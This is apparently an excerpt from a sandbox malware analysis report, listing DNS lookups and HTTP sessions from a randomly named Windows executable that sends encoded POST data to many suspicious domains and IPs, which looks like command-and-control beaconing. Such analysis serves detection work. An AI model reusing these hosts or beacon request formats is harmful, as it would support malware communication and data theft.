Oct 8, 2024 15:55:10.559197903 CEST	1.1.1.1	192.168.2.11	0x88c	No error (0)	hse6978h2.g.asiagoogleantiddoscdn.com		23.224.27.171	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:55:10.559197903 CEST	1.1.1.1	192.168.2.11	0x88c	No error (0)	hse6978h2.g.asiagoogleantiddoscdn.com		23.224.27.173	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:55:24.258888006 CEST	1.1.1.1	192.168.2.11	0xd7eb	No error (0)	www.52ywq.vip	2rqff6.zxy-cname.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 15:55:24.258888006 CEST	1.1.1.1	192.168.2.11	0xd7eb	No error (0)	2rqff6.zxy-cname.com	xzwp.g.zxy-cname.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 15:55:24.258888006 CEST	1.1.1.1	192.168.2.11	0xd7eb	No error (0)	xzwp.g.zxy-cname.com		20.184.53.162	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:55:24.258888006 CEST	1.1.1.1	192.168.2.11	0xd7eb	No error (0)	xzwp.g.zxy-cname.com		52.187.43.40	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:55:24.258888006 CEST	1.1.1.1	192.168.2.11	0xd7eb	No error (0)	xzwp.g.zxy-cname.com		20.190.75.237	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:55:24.258888006 CEST	1.1.1.1	192.168.2.11	0xd7eb	No error (0)	xzwp.g.zxy-cname.com		52.230.116.182	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:55:24.258888006 CEST	1.1.1.1	192.168.2.11	0xd7eb	No error (0)	xzwp.g.zxy-cname.com		20.184.51.15	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:55:24.258888006 CEST	1.1.1.1	192.168.2.11	0xd7eb	No error (0)	xzwp.g.zxy-cname.com		52.187.42.58	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:55:38.983153105 CEST	1.1.1.1	192.168.2.11	0x2f8d	No error (0)	www.zenscape.top		199.192.21.169	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:55:53.033871889 CEST	1.1.1.1	192.168.2.11	0x7ea	No error (0)	www.asociacia.online	asociacia.online		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 15:55:53.033871889 CEST	1.1.1.1	192.168.2.11	0x7ea	No error (0)	asociacia.online		81.2.196.19	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:56:06.914417028 CEST	1.1.1.1	192.168.2.11	0x107b	No error (0)	www.93187.xyz		107.163.130.249	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:56:21.358762980 CEST	1.1.1.1	192.168.2.11	0xb85	Name error (3)	www.insicilia.today	none	none	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:56:29.470457077 CEST	1.1.1.1	192.168.2.11	0x61ec	No error (0)	www.tempatmudisini01.click	tempatmudisini01.click		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 15:56:29.470457077 CEST	1.1.1.1	192.168.2.11	0x61ec	No error (0)	tempatmudisini01.click		103.21.221.4	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:56:43.365582943 CEST	1.1.1.1	192.168.2.11	0xb9d8	No error (0)	www.o731lh.vip	o731lh.vip		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 15:56:43.365582943 CEST	1.1.1.1	192.168.2.11	0xb9d8	No error (0)	o731lh.vip		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:56:43.365582943 CEST	1.1.1.1	192.168.2.11	0xb9d8	No error (0)	o731lh.vip		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:56:56.547382116 CEST	1.1.1.1	192.168.2.11	0xbd6c	No error (0)	www.consultarfacil.online	consultarfacil.online		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 15:56:56.547382116 CEST	1.1.1.1	192.168.2.11	0xbd6c	No error (0)	consultarfacil.online		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:56:56.547382116 CEST	1.1.1.1	192.168.2.11	0xbd6c	No error (0)	consultarfacil.online		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:57:10.024205923 CEST	1.1.1.1	192.168.2.11	0x8b4b	No error (0)	www.broomeorchard.xyz		15.197.204.56	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:57:10.024205923 CEST	1.1.1.1	192.168.2.11	0x8b4b	No error (0)	www.broomeorchard.xyz		3.33.243.145	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:57:23.187769890 CEST	1.1.1.1	192.168.2.11	0x1a90	No error (0)	www.suarahati20.xyz	suarahati20.xyz		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 15:57:23.187769890 CEST	1.1.1.1	192.168.2.11	0x1a90	No error (0)	suarahati20.xyz		198.252.106.191	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:57:37.138364077 CEST	1.1.1.1	192.168.2.11	0xe13	No error (0)	www.nmh6.site		43.154.104.247	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.whats-in-the-box.org

www.1183377.app

www.52ywq.vip

www.zenscape.top

www.asociacia.online

www.93187.xyz

www.tempatmudisini01.click

www.o731lh.vip

www.consultarfacil.online

www.broomeorchard.xyz

www.suarahati20.xyz

www.nmh6.site

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49981	3.33.130.190	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:54:54.544260025 CEST	468	OUT	GET /i7xp/?-L=kBMxZFRpAD6P&gP=1hYOXgym/+H9levAkr4ECV6rOYKZY3gLAuBEPSFmNBWW1UoBGm7krMakoIf2T8PCbakGk5cJYsK9Iz90f+By3ei+nF7KhZYXgTY0pVgzUu8kB5fl+xjkuOc= HTTP/1.1 Host: www.whats-in-the-box.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
Oct 8, 2024 15:54:55.057811022 CEST	394	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 08 Oct 2024 13:54:55 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 2d 4c 3d 6b 42 4d 78 5a 46 52 70 41 44 36 50 26 67 50 3d 31 68 59 4f 58 67 79 6d 2f 2b 48 39 6c 65 76 41 6b 72 34 45 43 56 36 72 4f 59 4b 5a 59 33 67 4c 41 75 42 45 50 53 46 6d 4e 42 57 57 31 55 6f 42 47 6d 37 6b 72 4d 61 6b 6f 49 66 32 54 38 50 43 62 61 6b 47 6b 35 63 4a 59 73 4b 39 49 7a 39 30 66 2b 42 79 33 65 69 2b 6e 46 37 4b 68 5a 59 58 67 54 59 30 70 56 67 7a 55 75 38 6b 42 35 66 6c 2b 78 6a 6b 75 4f 63 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?-L=kBMxZFRpAD6P&gP=1hYOXgym/+H9levAkr4ECV6rOYKZY3gLAuBEPSFmNBWW1UoBGm7krMakoIf2T8PCbakGk5cJYsK9Iz90f+By3ei+nF7KhZYXgTY0pVgzUu8kB5fl+xjkuOc="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49982	23.224.37.76	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:55:10.579591990 CEST	721	OUT	POST /8z5k/ HTTP/1.1 Host: www.1183377.app Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 199 Origin: http://www.1183377.app Referer: http://www.1183377.app/8z5k/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 2f 33 79 6d 58 72 5a 75 73 51 2f 74 72 2b 34 33 68 4f 5a 54 39 46 6d 68 35 33 41 64 48 38 6d 51 6b 64 75 67 41 4e 49 5a 7a 58 52 62 4a 55 66 55 5a 46 6c 49 45 4b 64 32 61 43 38 68 6c 46 42 2f 76 53 65 57 63 78 32 30 58 44 43 36 6e 63 70 6e 45 78 61 65 5a 78 57 33 67 57 4a 71 6d 42 36 57 75 4f 78 73 72 36 55 55 56 30 37 6b 53 2b 56 68 64 5a 6e 47 31 43 6f 42 35 50 61 72 6f 79 78 48 46 4d 51 58 4e 41 2f 6a 62 5a 78 4b 43 39 72 6e 50 49 72 6a 37 6d 35 61 37 67 45 63 45 4f 68 75 36 59 66 43 4a 70 54 73 58 54 63 43 70 47 6f 68 33 76 64 6c 79 7a 6e 43 71 68 77 5a 49 37 58 6e 5a 67 3d 3d Data Ascii: gP=/3ymXrZusQ/tr+43hOZT9Fmh53AdH8mQkdugANIZzXRbJUfUZFlIEKd2aC8hlFB/vSeWcx20XDC6ncpnExaeZxW3gWJqmB6WuOxsr6UUV07kS+VhdZnG1CoB5ParoyxHFMQXNA/jbZxKC9rnPIrj7m5a7gEcEOhu6YfCJpTsXTcCpGoh3vdlyznCqhwZI7XnZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.11	49983	23.224.37.76	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:55:13.140261889 CEST	741	OUT	POST /8z5k/ HTTP/1.1 Host: www.1183377.app Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 219 Origin: http://www.1183377.app Referer: http://www.1183377.app/8z5k/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 2f 33 79 6d 58 72 5a 75 73 51 2f 74 78 65 6f 33 78 64 78 54 30 46 6d 69 38 33 41 64 63 73 6d 71 6b 64 71 67 41 4e 67 4a 79 6b 31 62 4d 45 76 55 59 41 46 49 46 4b 64 32 56 69 39 72 71 6c 42 32 76 53 54 72 63 7a 69 30 58 48 53 36 6e 63 35 6e 46 43 43 64 57 42 57 31 31 47 4a 6f 6f 68 36 57 75 4f 78 73 72 35 6f 36 56 30 7a 6b 54 4b 70 68 64 34 6e 4a 71 79 6f 4f 78 76 61 72 73 79 78 44 46 4d 51 68 4e 46 58 46 62 62 35 4b 43 34 50 6e 50 5a 72 6b 77 6d 35 41 32 41 46 76 46 72 45 36 69 72 71 68 4b 61 69 64 66 67 52 6a 6f 41 35 37 6e 4d 55 79 78 67 76 41 2b 48 52 70 42 4b 79 75 43 74 62 78 59 45 61 77 30 56 7a 64 68 79 69 63 67 48 35 57 63 65 51 3d Data Ascii: gP=/3ymXrZusQ/txeo3xdxT0Fmi83AdcsmqkdqgANgJyk1bMEvUYAFIFKd2Vi9rqlB2vSTrczi0XHS6nc5nFCCdWBW11GJooh6WuOxsr5o6V0zkTKphd4nJqyoOxvarsyxDFMQhNFXFbb5KC4PnPZrkwm5A2AFvFrE6irqhKaidfgRjoA57nMUyxgvA+HRpBKyuCtbxYEaw0VzdhyicgH5WceQ=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.11	49984	23.224.37.76	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:55:15.694778919 CEST	1754	OUT	POST /8z5k/ HTTP/1.1 Host: www.1183377.app Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 1231 Origin: http://www.1183377.app Referer: http://www.1183377.app/8z5k/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 2f 33 79 6d 58 72 5a 75 73 51 2f 74 78 65 6f 33 78 64 78 54 30 46 6d 69 38 33 41 64 63 73 6d 71 6b 64 71 67 41 4e 67 4a 79 6b 39 62 4d 56 50 55 5a 68 46 49 47 4b 64 32 63 43 39 71 71 6c 41 6b 76 53 61 67 63 7a 75 43 58 42 4f 36 68 2b 42 6e 43 7a 43 64 42 52 57 31 71 32 4a 74 6d 42 37 63 75 4f 68 6f 72 35 34 36 56 30 7a 6b 54 4d 4e 68 62 70 6e 4a 6f 79 6f 42 35 50 61 2f 6f 79 78 76 46 4d 59 66 4e 46 62 7a 62 71 5a 4b 43 59 66 6e 4e 72 7a 6b 39 6d 35 65 36 67 46 33 46 72 41 4d 69 76 4b 58 4b 62 48 77 66 6e 64 6a 6f 68 4d 6e 2f 66 6f 65 72 77 57 30 76 31 42 37 62 50 4b 4b 44 75 66 43 4a 58 57 6f 32 67 72 4d 71 41 62 77 30 46 70 58 48 49 66 55 51 54 43 4d 65 5a 50 71 37 77 32 39 78 7a 2b 77 69 6b 49 33 66 34 61 43 37 34 78 76 36 50 56 4a 45 74 63 41 51 74 6b 4f 47 73 4c 47 42 6c 57 48 38 55 43 36 6b 42 63 78 35 6d 45 58 54 4d 76 75 55 35 6a 4b 4e 38 36 67 65 6c 34 39 32 4a 73 74 54 41 34 52 66 73 31 56 4b 59 6d 67 72 44 51 74 79 4b 58 4e 2f 65 73 7a 48 4d 43 43 74 5a 4d 57 59 63 6f 34 33 72 58 [TRUNCATED] Data Ascii: gP=/3ymXrZusQ/txeo3xdxT0Fmi83AdcsmqkdqgANgJyk9bMVPUZhFIGKd2cC9qqlAkvSagczuCXBO6h+BnCzCdBRW1q2JtmB7cuOhor546V0zkTMNhbpnJoyoB5Pa/oyxvFMYfNFbzbqZKCYfnNrzk9m5e6gF3FrAMivKXKbHwfndjohMn/foerwW0v1B7bPKKDufCJXWo2grMqAbw0FpXHIfUQTCMeZPq7w29xz+wikI3f4aC74xv6PVJEtcAQtkOGsLGBlWH8UC6kBcx5mEXTMvuU5jKN86gel492JstTA4Rfs1VKYmgrDQtyKXN/eszHMCCtZMWYco43rX3eI3Hcj4C2kCWxtgUf4H8qOTMputbExa9jWMWSUt5Vao3ViUviGNjBuyx18SuDyteabt1y7ufEwJ1leRRVWRAcCNEG15NBODAytEo02R5K4ylDhfRe36kE0XkndPKsg9PMZmO2M4P1Jih91S0dHc1gG3uzJncGknISswIl54Avmnfnifm2OTDKWqVxgpiikNXZW8mSAZMz2QCgWld5McpQGFaNMxjS5YYXss5i3nIhng2CKPs/h8fo4rZjXV1PsYXx0TWa4BKXnoHPL7xtANzbKnmnGq1uzdAfsUb3L+tB2Uhuo98ICZDRmE9pk6I8ZUdcTBfR8gCSXUz9HGTk1i2Zs8K/4TZCsyZbKj+Eo6SC7Zqh3DiF6/rbjkT9YesrEyY0ojt8FgQTiCkDb/cBVjeBVtedFB+wmusEtSOky8YF4ptnGFJKwjRVL0pM0EAi4Y6ED5O04TIk/i7pmJyB7cLaVl5vNmF25L2vU0LNSocdFgl+1cvDR0Mq9yBfLRPdRg1djD9v68u8CAesuoHLsfF6XgxF8hBFW+k97HLOfsSOXmlFXBKKeIL82LsRHOaRaQgsFPeNd2k9KfGxihLNRmQjqIyDatOvvFcDav9zbDHqKmip31F0Lru/XoAwaGxfEY3NpdCE9qVJZUuGy+NiApUbEWHDHrbiJoil [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.11	49985	23.224.37.76	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:55:18.235976934 CEST	459	OUT	GET /8z5k/?gP=y1aGUeBTtCWB8PYjxeZy4U2j9UMFcfikuJGyOOgv6AsofEnOPQxTGp57UW4jl24PiU2QUCC/WnCbrv11FxPlakKzrkp/pGyXsuE4toY6QkeuA/Y2UZTirzw=&-L=kBMxZFRpAD6P HTTP/1.1 Host: www.1183377.app Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.11	49986	20.184.53.162	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:55:24.280472040 CEST	715	OUT	POST /4i87/ HTTP/1.1 Host: www.52ywq.vip Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 199 Origin: http://www.52ywq.vip Referer: http://www.52ywq.vip/4i87/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 67 56 64 41 4d 2f 57 70 30 7a 36 78 65 4f 61 38 76 37 46 34 51 75 31 71 73 5a 51 31 55 56 72 56 31 36 76 30 51 34 46 63 4c 55 54 66 53 58 33 49 30 46 79 42 78 6a 48 51 49 61 73 42 68 75 68 57 67 77 58 6a 6c 4f 2f 66 62 50 70 46 4f 46 79 31 32 5a 33 44 67 39 30 61 71 48 31 44 71 49 77 58 63 66 67 73 4d 33 50 5a 54 49 62 56 78 68 55 38 4b 44 45 6a 79 58 47 43 45 44 38 48 63 57 6d 6c 47 49 4d 73 4a 5a 69 54 57 77 6f 63 6a 49 4f 61 56 4d 48 66 6c 75 67 4d 37 58 4a 54 64 66 38 58 71 6c 39 79 67 6d 4a 66 74 5a 35 55 32 34 68 46 6f 61 4b 65 51 2b 73 6b 2b 72 75 66 48 7a 73 73 78 67 3d 3d Data Ascii: gP=gVdAM/Wp0z6xeOa8v7F4Qu1qsZQ1UVrV16v0Q4FcLUTfSX3I0FyBxjHQIasBhuhWgwXjlO/fbPpFOFy12Z3Dg90aqH1DqIwXcfgsM3PZTIbVxhU8KDEjyXGCED8HcWmlGIMsJZiTWwocjIOaVMHflugM7XJTdf8Xql9ygmJftZ5U24hFoaKeQ+sk+rufHzssxg==
Oct 8, 2024 15:55:25.355673075 CEST	359	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 08 Oct 2024 13:55:25 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://6329.vhjhbv.com/4i87/ Server: CDNRay Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.11	49987	20.184.53.162	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:55:26.821927071 CEST	735	OUT	POST /4i87/ HTTP/1.1 Host: www.52ywq.vip Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 219 Origin: http://www.52ywq.vip Referer: http://www.52ywq.vip/4i87/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 67 56 64 41 4d 2f 57 70 30 7a 36 78 59 76 4b 38 38 6f 74 34 62 75 31 72 78 70 51 31 61 31 72 52 31 36 7a 30 51 39 6b 52 4c 47 48 66 53 32 48 49 33 48 61 42 32 6a 48 51 44 36 73 45 76 4f 67 55 67 77 4c 52 6c 4c 48 66 62 4c 4a 46 4f 41 65 31 32 75 6a 45 68 74 31 38 6e 6e 31 64 33 59 77 58 63 66 67 73 4d 33 61 30 54 4c 72 56 79 55 63 38 4e 52 73 6b 74 6e 47 42 4e 6a 38 48 59 57 6d 35 47 49 4e 35 4a 62 57 70 57 32 73 63 6a 4b 47 61 56 5a 6e 41 77 65 67 4b 2f 58 49 52 52 73 52 6e 6d 30 6b 54 72 56 46 43 73 74 31 47 7a 2b 77 66 34 35 44 4a 54 74 6b 6d 71 4e 50 76 4f 43 4a 6c 71 73 4f 39 71 62 31 4b 4f 6b 47 44 34 49 37 4a 52 44 72 57 69 64 49 3d Data Ascii: gP=gVdAM/Wp0z6xYvK88ot4bu1rxpQ1a1rR16z0Q9kRLGHfS2HI3HaB2jHQD6sEvOgUgwLRlLHfbLJFOAe12ujEht18nn1d3YwXcfgsM3a0TLrVyUc8NRsktnGBNj8HYWm5GIN5JbWpW2scjKGaVZnAwegK/XIRRsRnm0kTrVFCst1Gz+wf45DJTtkmqNPvOCJlqsO9qb1KOkGD4I7JRDrWidI=
Oct 8, 2024 15:55:27.906780005 CEST	359	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 08 Oct 2024 13:55:27 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://6329.vhjhbv.com/4i87/ Server: CDNRay Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.11	49988	20.184.53.162	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:55:29.931057930 CEST	1748	OUT	POST /4i87/ HTTP/1.1 Host: www.52ywq.vip Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 1231 Origin: http://www.52ywq.vip Referer: http://www.52ywq.vip/4i87/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 67 56 64 41 4d 2f 57 70 30 7a 36 78 59 76 4b 38 38 6f 74 34 62 75 31 72 78 70 51 31 61 31 72 52 31 36 7a 30 51 39 6b 52 4c 47 66 66 53 45 50 49 6c 67 47 42 33 6a 48 51 64 4b 73 46 76 4f 68 4d 67 77 44 56 6c 4c 44 68 62 4e 46 46 63 79 57 31 77 61 50 45 6f 74 31 38 34 33 31 63 71 49 77 6e 63 65 4d 6f 4d 30 69 30 54 4c 72 56 79 56 73 38 65 6a 45 6b 2b 33 47 43 45 44 38 62 63 57 6d 46 47 4a 6c 70 4a 62 54 65 57 47 4d 63 6a 71 57 61 5a 4b 50 41 73 4f 67 49 34 58 49 7a 52 73 64 34 6d 30 49 35 72 57 59 70 73 71 78 47 7a 37 38 41 6c 4b 72 51 41 63 6f 41 39 2b 6a 70 46 77 4e 63 69 66 43 57 71 4a 74 6f 65 68 2f 65 37 4a 57 5a 46 42 6e 2b 39 61 71 58 68 41 68 77 39 6b 78 4a 6b 70 53 51 6f 70 75 6e 4d 34 5a 77 46 54 4e 63 59 4f 30 2f 64 64 62 2b 67 49 51 7a 34 63 2b 54 73 51 38 35 69 63 57 62 52 2b 65 49 53 78 58 4f 77 35 4d 64 55 41 67 70 4d 53 77 75 55 2f 4c 30 67 37 4f 4f 31 33 44 76 77 44 73 36 6b 37 77 62 4d 52 37 72 34 5a 48 54 34 7a 54 5a 35 53 4c 4a 62 6f 53 51 62 34 4c 4e 4e 34 6c 5a 54 65 42 [TRUNCATED] Data Ascii: gP=gVdAM/Wp0z6xYvK88ot4bu1rxpQ1a1rR16z0Q9kRLGffSEPIlgGB3jHQdKsFvOhMgwDVlLDhbNFFcyW1waPEot18431cqIwnceMoM0i0TLrVyVs8ejEk+3GCED8bcWmFGJlpJbTeWGMcjqWaZKPAsOgI4XIzRsd4m0I5rWYpsqxGz78AlKrQAcoA9+jpFwNcifCWqJtoeh/e7JWZFBn+9aqXhAhw9kxJkpSQopunM4ZwFTNcYO0/ddb+gIQz4c+TsQ85icWbR+eISxXOw5MdUAgpMSwuU/L0g7OO13DvwDs6k7wbMR7r4ZHT4zTZ5SLJboSQb4LNN4lZTeBqPFfbMLnt9igmfiUL2EBrPLeOUpN6pmnyo1MtTwD8w4pgzAX02vap/wV0qM60mXIanzQw17PxAVWYrK6M9oya0plFCSLhFhn6VCT9CNctCp/33fFZOjszzb4sYzmcWZ1kjOahaW6vM6/pSxCM+N2982t9QMwy8gv/IA6TQtVrgFJQwcyIV5WWAIo7dN3T9BcCY9ualKi7JMdDaZndr6VXexSsXmvmTBB2SXJOL5zPDvc6m77AWmbsTBmajn8At+E9jZufxgMpXUQ0rZz91wxaUv/xGx91BoMsz42mx6rvtuAlCvgDOs8THir2SXsn20pcnyfsPHsPHZaZSM3Q8B/CoD0fXu84ptGDf5f6K7PUUSGuPSXK0JQ2dM8hefTg+Lhz1jSBAnLUTgGwibkTFtYSFcnmYjdzL3ZGMbQfLpLZrI5fHHHu9kjYJhuGFu3+aRi2S+XwPOXzMWautsf2MPtYglmP4j03SbVz5s9f8ZfILUVX6MCi4RU2OMw9BpkrRvTPo0yYmo4RkxEkvKuclUwWVZW9i6NQ9bBHZG8621tFTlu1Yhog5VItFw3KHEmu8eXAPYAooUCD4Zba570KL+KeboYnu2FnyluwW5kZh/UTOaZnEyeHcfTlu10k0gfi75IjOBy5dBOOY0JB+8QQ5pVnwZJawppUNoXE4 [TRUNCATED]
